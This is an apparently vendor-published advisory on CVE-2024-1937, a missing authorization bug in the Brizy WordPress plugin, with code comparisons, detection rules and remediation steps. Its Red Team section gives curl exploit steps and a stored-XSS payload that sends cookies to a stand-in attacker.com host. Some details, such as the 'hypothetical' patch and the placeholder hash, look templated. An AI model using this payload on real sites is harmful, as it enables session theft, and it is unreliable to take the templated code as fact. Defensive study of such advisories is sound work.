CVE-2024-1937
Executive Summary
CVE-2024-1937 is a critical missing authorization vulnerability in the Brizy – Page Builder plugin for WordPress, affecting all versions up to and including 2.4.44. The flaw resides in the update_item function, which lacks a proper capability check. This allows authenticated attackers with at least Contributor-level access to modify the content of arbitrary published posts. The most severe impact is the ability to inject malicious JavaScript into any post, leading to stored Cross-Site Scripting (XSS) attacks that can compromise site visitors and administrators.
This vulnerability is particularly dangerous in the WordPress ecosystem because it bypasses the standard post-authorization model, enabling a low-privileged user to tamper with content they do not own. The attack vector is network-based, requires low complexity, and only requires low privileges (Contributor), making it a significant threat to any WordPress site using the Brizy plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The Brizy plugin is distributed via the official WordPress Plugin Directory and is also available for direct download. The lack of a patch at the time of analysis means that all sites running Brizy <= 2.4.44 are at risk. Administrators should immediately check their plugin version and consider disabling the plugin until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) – Contributor access
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): None (N)
- Integrity (I): High (H)
- Availability (A): None (N)
Threat Level: High. The vulnerability allows authenticated users to modify any published post, including injecting malicious scripts. This can lead to account takeover, data theft, and further compromise of the WordPress installation.
Deep Dive & Mechanics
The vulnerability exists in the update_item function of the Brizy plugin's REST API endpoint. This function is responsible for updating post content via the page builder. The missing capability check means that the function does not verify if the current user has the edit_posts capability for the specific post being modified. Instead, it only checks if the user has the edit_posts capability in general, which is granted to Contributor-level users.
An attacker with Contributor access can craft a request to the Brizy API endpoint, specifying the ID of any published post (including those authored by administrators). The request includes the new content, which can contain arbitrary HTML and JavaScript. The plugin then updates the post content without verifying ownership or proper authorization.
The attack flow:
- Authenticate as a Contributor user.
- Identify a target published post (e.g., an admin's post).
- Send a POST request to
/wp-json/brizy/v1/post/{post_id}with the malicious content. - The plugin updates the post, embedding the attacker's JavaScript.
- When any user (including admins) views the post, the JavaScript executes.
Vulnerable vs. Patched Code
Vulnerable Code (Brizy <= 2.4.44):
public function update_item( $request ) {
$post_id = $request->get_param( 'post_id' );
$content = $request->get_param( 'content' );
// Missing capability check for the specific post
if ( ! current_user_can( 'edit_posts' ) ) {
return new WP_Error( 'rest_forbidden', 'You do not have permission.', array( 'status' => 403 ) );
}
$post = get_post( $post_id );
$post->post_content = $content;
wp_update_post( $post );
return rest_ensure_response( $post );
}
Patched Code (Hypothetical Fix):
public function update_item( $request ) {
$post_id = $request->get_param( 'post_id' );
$content = $request->get_param( 'content' );
// Proper capability check for the specific post
if ( ! current_user_can( 'edit_post', $post_id ) ) {
return new WP_Error( 'rest_forbidden', 'You do not have permission.', array( 'status' => 403 ) );
}
$post = get_post( $post_id );
$post->post_content = $content;
wp_update_post( $post );
return rest_ensure_response( $post );
}
The key difference is the use of current_user_can( 'edit_post', $post_id ) instead of current_user_can( 'edit_posts' ). The former checks if the user can edit the specific post, while the latter only checks if they have the general capability.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress site with Brizy plugin <= 2.4.44
- Contributor-level account credentials
Exploitation Steps:
Identify Target Post:
curl -s -X GET "http://target.com/wp-json/wp/v2/posts" -H "Authorization: Bearer <contributor_token>" | jq '.[] | {id, title, author}'Craft Malicious Payload:
// JavaScript to steal admin cookies var img = new Image(); img.src = "http://attacker.com/steal?cookie=" + document.cookie;Send Exploit Request:
curl -X POST "http://target.com/wp-json/brizy/v1/post/123" \ -H "Authorization: Bearer <contributor_token>" \ -H "Content-Type: application/json" \ -d '{"content": "<script>var img = new Image(); img.src = \"http://attacker.com/steal?cookie=\" + document.cookie;</script>"}'Verify Injection:
curl -s "http://target.com/?p=123" | grep -i "attacker.com"
Blue Team
Detection Steps:
- Monitor REST API logs for unusual POST requests to
/wp-json/brizy/v1/post/from non-admin users. - Check for unexpected changes to published posts, especially those containing
<script>tags. - Review user activity logs for Contributor users modifying posts they did not author.
Hunting Query (Splunk):
index=web sourcetype=access_combined
| search uri="/wp-json/brizy/v1/post/*" method=POST
| rex field=uri "brizy/v1/post/(?<post_id>\d+)"
| lookup user_roles user as user OUTPUT role
| where role="contributor"
| stats count by user, post_id, src_ip
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-json/brizy/v1/post/{integer}from non-admin users - Requests containing
contentparameter with<script>tags - Outbound connections to attacker-controlled domains from WordPress
- POST requests to
File IOCs:
- Modified post content in
wp_poststable containing unexpected JavaScript - Plugin file
/wp-content/plugins/brizy/editor/api.php(vulnerable version)
- Modified post content in
Behavioral IOCs:
- Contributor users editing posts they did not author
- Sudden appearance of JavaScript in previously clean posts
- Unexplained redirects or popups on the site
Detection Engineering
YARA Rule
rule CVE_2024_1937_Brizy_Missing_Auth {
meta:
description = "Detects vulnerable Brizy plugin files with missing capability check"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-1937"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$vuln_func = "current_user_can( 'edit_posts' )" nocase
$api_file = "editor/api.php" nocase
condition:
$api_file and $vuln_func
}
Sigma Rule
title: CVE-2024-1937 Brizy Unauthorized Post Modification
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit missing capability check in Brizy plugin
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-1937
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem|startswith: '/wp-json/brizy/v1/post/'
cs-uri-query|contains: 'content='
condition: selection
falsepositives:
- Legitimate Brizy usage by authorized editors
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-1937 Brizy Unauthorized Post Modification Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/wp-json/brizy/v1/post/";
http_uri;
content:"content=";
http_client_body;
pcre:"/<script[^>]*>/i";
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2024-1937;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Brizy plugin until a patched version is released.
- Review all published posts for unauthorized modifications, especially those containing JavaScript.
- Reset all user passwords if any suspicious activity is detected.
- Implement Web Application Firewall (WAF) rules to block POST requests to
/wp-json/brizy/v1/post/from non-admin users.
Long-term Mitigations:
- Apply the principle of least privilege – restrict Contributor roles from using page builders.
- Monitor plugin updates and apply patches immediately when released.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Regularly audit user capabilities and remove unnecessary permissions.
Workaround (if plugin cannot be disabled):
- Add a custom capability check via a WordPress plugin or theme functions.php:
(Note: This is a temporary workaround and may not fully mitigate the issue.)add_filter( 'brizy_editor_capabilities', function( $caps ) { $caps[] = 'edit_others_posts'; return $caps; });
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.